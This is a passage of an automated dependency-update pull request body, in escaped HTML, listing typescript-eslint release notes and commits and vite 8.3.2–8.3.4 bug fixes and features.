(\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12805\"\u003e#12805\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etype-utils:\u003c/strong\u003e match linked packages and packages with missing version in \u003ccode\u003eTypeOrValueSpecifier\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12948\"\u003e#12948\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAbraham Guo\u003c/li\u003e\n\u003cli\u003eBrad Zacher \u003ca href=\"https://github.com/bradzacher\"\u003e\u003ccode\u003e@​bradzacher\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eJosh Goldberg\u003c/li\u003e\n\u003cli\u003eVinccool96\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/typescript-eslint/CHANGELOG.md\"\u003etypescript-eslint's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.72.0 (2026-10-19)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.72.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.71.2 (2026-10-12)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.71.2\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.71.1 (2026-10-05)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.71.1\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.71.0 (2026-09-28)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.71.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.70.1 (2026-09-21)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.70.1\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/a4c2603d3e4fd43b33bc25b82457716e9f7cef71\"\u003e\u003ccode\u003ea4c2603\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.72.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/7488d681f6e0e96c2aaa1eee9c3d1b9b1ef077cb\"\u003e\u003ccode\u003e7488d68\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.71.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/d57b8da272375b6a45270639894a793933208a91\"\u003e\u003ccode\u003ed57b8da\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.71.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/8695664c5ee3fbb8fd76907fc45e148579cc3162\"\u003e\u003ccode\u003e8695664\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.71.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/23d38ceeb8fb1237f55cb62fc2b54419e1fa1ed7\"\u003e\u003ccode\u003e23d38ce\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.70.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/eb42d9b7e7ab0eca543bc16b726688624c532fc6\"\u003e\u003ccode\u003eeb42d9b\u003c/code\u003e\u003c/a\u003e chore: cleanup and fix Nx dependencies and missing tasks (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint/issues/12897\"\u003e#12897\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/8c8053103f4ab8df3105826181c43fa257289a73\"\u003e\u003ccode\u003e8c80531\u003c/code\u003e\u003c/a\u003e chore: fix typos in comments and docs (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint/issues/12846\"\u003e#12846\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/b6b86a15dd42aaa0e37054683cb5606c8fd203c2\"\u003e\u003ccode\u003eb6b86a1\u003c/code\u003e\u003c/a\u003e chore: migrate to nx 23.2.0 (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint/issues/12843\"\u003e#12843\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commits/v8.72.0/packages/typescript-eslint\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vite` from 8.3.0 to 8.3.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite/releases\"\u003evite's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.3.4\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebundled-dev:\u003c/strong\u003e support \u003ccode\u003eimport.meta.hot.acceptExports\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23463\"\u003e#23463\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/bc0f21c56a2e003a4d2dd23ccb9da3ec8c706c4e\"\u003ebc0f21c\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eavoid mutating hmr defaults (fix \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23575\"\u003e#23575\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23576\"\u003e#23576\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/574d5e351905fe99891364d03c2440531378f7fd\"\u003e574d5e3\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebuild:\u003c/strong\u003e correct preloads when chunkImportMap is enabled with non-root base (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23698\"\u003e#23698\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/2a8c0f05c76e35c43ab3560984a5103c8db8dbcd\"\u003e2a8c0f0\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebuild:\u003c/strong\u003e wait for in-flight stylesheets in preload helper (fix \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23652\"\u003e#23652\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23662\"\u003e#23662\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/036b74599b2fe1d8c61475371b856ceb88d26963\"\u003e036b745\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebundled-dev:\u003c/strong\u003e serve \u003ccode\u003e/@vite/client\u003c/code\u003e and stub \u003ccode\u003e@vite/env\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23664\"\u003e#23664\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/5afc5a8876624888fc1e8f43fed1c85c4b0e830b\"\u003e5afc5a8\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e skip rewriting unchanged adopted styles (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23697\"\u003e#23697\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/fa7146938b0ca703653c90c20907191a01c032ba\"\u003efa71469\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecss:\u003c/strong\u003e resolve imported preprocessors from their file path with lightningcss (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23688\"\u003e#23688\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/cf52011c46409a4a45f3d74bba631b8f005c4bc9\"\u003ecf52011\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update all non-major dependencies (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23648\"\u003e#23648\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/8a4c19cfc035f2dd203f2fa6d00ab9256a5e77c9\"\u003e8a4c19c\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update rolldown-related dependencies (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23649\"\u003e#23649\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/794516d50cff80e405bc9b3e5faac1c82987566c\"\u003e794516d\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edev:\u003c/strong\u003e a restart requested during a restart used to be dropped (fix \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23392\"\u003e#23392\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23484\"\u003e#23484\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/70d56ea1848909edab416934f3f68ce14343eb73\"\u003e70d56ea\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edon't treat modules ending with js-like query as js (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23687\"\u003e#23687\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/fcb6f1252a95857823d935f98554b938888d41a0\"\u003efcb6f12\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ehtml:\u003c/strong\u003e avoid adding filesystem root to watcher (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23689\"\u003e#23689\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/3a7f2aea757d59bae66ad6edf6b321d26a7e6778\"\u003e3a7f2ae\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ehtml:\u003c/strong\u003e skip caching CSS of chunks in a cycle (fix \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23628\"\u003e#23628\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23636\"\u003e#23636\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/15d82f7dc679ab9c18d5ce2c3711157c2365ddd1\"\u003e15d82f7\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eoptimizer:\u003c/strong\u003e scan deep imports with custom extensions (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23678\"\u003e#23678\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/8579189bae8626b6ddab55a09325e209d62e027e\"\u003e8579189\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eremove input option unescaping for now (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23694\"\u003e#23694\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/facc2fb1fffce03d9e2dd7011d0bd0eeddc7d0f6\"\u003efacc2fb\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eserver:\u003c/strong\u003e match static aliases on path boundaries (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23643\"\u003e#23643\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/b28db28e9e62d9866a9a0f1b22e74589cc180577\"\u003eb28db28\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ewatcher:\u003c/strong\u003e normalize file before root check in \u003ccode\u003eensureWatchedFile\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23673\"\u003e#23673\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/12bb28c22379c8d2fe90088fa0eefbfa2ab3fb80\"\u003e12bb28c\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance Improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003emodule-runner:\u003c/strong\u003e skip cloning call sites that have no source map (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23646\"\u003e#23646\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/3d674869a50a0bca84a8cc8dc55bd35d57100e37\"\u003e3d67486\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCode Refactoring\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebundled-dev:\u003c/strong\u003e import CSS HMR helpers from \u003ccode\u003e/@vite/client\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23674\"\u003e#23674\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/182f5b2a65391da5bee05f9c3df1aeb3794e98d9\"\u003e182f5b2\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev8.3.3\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update launch-editor to v2.14.2 (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23654\"\u003e#23654\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/22fd1d5238cce2ee9db0eb4122f9e8feb6b06097\"\u003e22fd1d5\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ehtml:\u003c/strong\u003e filename passed to transformIndexHtml should not include queries (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23653\"\u003e#23653\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/7dafd8e56f152403a3230608fa4005273c2e9e17\"\u003e7dafd8e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eserver:\u003c/strong\u003e check \u003ccode\u003efs.serve\u003c/code\u003e for \u003ccode\u003e?vite-wasm-instance\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23655\"\u003e#23655\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/ba8b7ab43b4afa5d0292ab4b6e3a7b5033cc9c73\"\u003eba8b7ab\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eserver:\u003c/strong\u003e store ids to \u003ccode\u003esafeModulePaths\u003c/code\u003e rather than URLs (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23656\"\u003e#23656\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/c3e06f92e969952466b4e2f5801e85e1e00cd905\"\u003ec3e06f9\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev8.3.2\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebuild:\u003c/strong\u003e preload CSS correctly when \u003ccode\u003erenderBuiltUrl\u003c/code\u003e returns URLs with queries (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23611\"\u003e#23611\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/64e0a215c24f0522b27b91f93cfd93e317b94481\"\u003e64e0a21\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebundled-dev:\u003c/strong\u003e serve lazy chunk sourcemaps (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23026\"\u003e#23026\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/eb7aa9a8816a1e926d5d9b4cbe7e796b61314ce2\"\u003eeb7aa9a\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebundled-dev:\u003c/strong\u003e serve the rolldown runtime from the installed rolldown (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23568\"\u003e#23568\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/bc598a6a8a6b7d6e157e9f19c16911cff8d2360c\"\u003ebc598a6\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update all non-major dependencies (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23601\"\u003e#23601\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/9944fa6033873f13ae88f59e023ab642c50fee2b\"\u003e9944fa6\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update rolldown-related dependencies (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23602\"\u003e#23602\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/88c17415af221b3a13e778f4f2c0e907c8287baf\"\u003e88c1741\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ehtml:\u003c/strong\u003e resolve percent-encoded srcset urls (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23609\"\u003e#23609\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/53f1ce7bfe38426861f6da572ef0e3359f6a80cd\"\u003e53f1ce7\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003elimit size of object and array printing via \u003ccode\u003eforwardConsole\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23565\"\u003e#23565\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/e64a5877dd3e552843a545749ccc257568917d28\"\u003ee64a587\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite/blob/main/packages/vite/CHANGELOG.md\"\u003evite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://github.com/vitejs/vite/compare/v8.3.3...v8.3.4\"\u003e8.3.4\u003c/a\u003e (2026-10-08)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebundled-dev:\u003c/strong\u003e support \u003ccode\u003eimport.meta.hot.acceptExports\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23463\"\u003e#23463\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/bc0f21c56a2e003a4d2dd23ccb9da3ec8c706c4e\"\u003ebc0f21c\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eavoid mutating hmr defaults (fix \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23575\"\u003e#23575\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23576\"\u003e#23576\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/574d5e351905fe99891364d03c2440531378f7fd\"\u003e574d5e3\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebuild:\u003c/strong\u003e correct preloads when chunkImportMap is enabled with non-root base (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23698\"\u003e#23698\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/2a8c0f05c76e35c43ab3560984a5103c8db8dbcd\"\u003e2a8c0f0\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebuild:\u003c/strong\u003e wait for in-flight stylesheets in preload helper (fix \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23652\"\u003e#23652\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23662\"\u003e#23662\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/036b74599b2fe1d8c61475371b856ceb88d26963\"\u003e036b745\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebundled-dev:\u003c/strong\u003e serve \u003ccode\u003e/@vite/client\u003c/code\u003e and stub \u003ccode\u003e@vite/env\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23664\"\u003e#23664\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/5afc5a8876624888fc1e8f43fed1c85c4b0e830b\"\u003e5afc5a8\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e skip rewriting unchanged adopted styles (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23697\"\u003e#23697\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/fa7146938b0ca703653c90c20907191a01c032ba\"\u003efa71469\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecss:\u003c/strong\u003e resolve imported preprocessors from their file path with lightningcss (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23688\"\u003e#23688\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/cf52011c46409a4a45f3d74bba631b8f005c4bc9\"\u003ecf52011\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update all non-major dependencies (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23648\"\u003e#23648\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/8a4c19cfc035f2dd203f2fa6d00ab9256a5e77c9\"\u003e8a4c19c\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update rolldown-related dependencies (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23649\"\u003e#23649\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/794516d50cff80e405bc9b3e5faac1c82987566c\"\u003e794516d\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edev:\u003c/strong\u003e a restart requested during a restart used to be dropped (fix \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23392\"\u003e#23392\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23484\"\u003e#23484\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/70d56ea1848909edab416934f3f68ce14343eb73\"\u003e70d56ea\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edon't treat modules ending with js-like query as js (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23687\"\u003e#23687\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/fcb6f1252a95857823d935f98554b938888d41a0\"\u003efcb6f12\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ehtml:\u003c/strong\u003e avoid adding filesystem root to watcher (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23689\"\u003e#23689\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/3a7f2aea757d59bae66ad6edf6b321d26a7e6778\"\u003e3a7f2ae\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ehtml:\u003c/strong\u003e skip caching CSS of chunks in a cycle (fix \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23628\"\u003e#23628\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23636\"\u003e#23636\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/15d82f7dc679ab9c18d5ce2c3711157c2365ddd1\"\u003e15d82f7\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eoptimizer:\u003c/strong\u003e scan deep imports with custom extensions (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23678\"\u003e#23678\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/8579189bae8626b6ddab55a09325e209d62e027e\"\u003e8579189\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eremove input option unescaping for now (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23694\"\u003e#23694\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/facc2fb1fffce03d9e2dd7011d0bd0eeddc7d0f6\"\u003efacc2fb\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eserver:\u003c/strong\u003e match static aliases on path boundaries (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23643\"\u003e#23643\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/b28db28e9e62d9866a9a0f1b22e74589cc180577\"\u003eb28db28\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ewatcher:\u003c/strong\u003e normalize file before root check in \u003ccode\u003eensureWatchedFile\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23673\"\u003e#23673\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/12bb28c22379c8d2fe90088fa0eefbfa2ab3fb80\"\u003e12bb28c\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance Improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003emodule-runner:\u003c/strong\u003e skip cloning call sites that have no source map (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23646\"\u003e#23646\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/3d674869a50a0bca84a8cc8dc55bd35d57100e37\"\u003e3d67486\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCode Refactoring\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebundled-dev:\u003c/strong\u003e import CSS HMR helpers from \u003ccode\u003e/@vite/client\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23674\"\u003e#23674\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/182f5b2a65391da5bee05f9c3df1aeb3794e98d9\"\u003e182f5b2\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e\u003ca 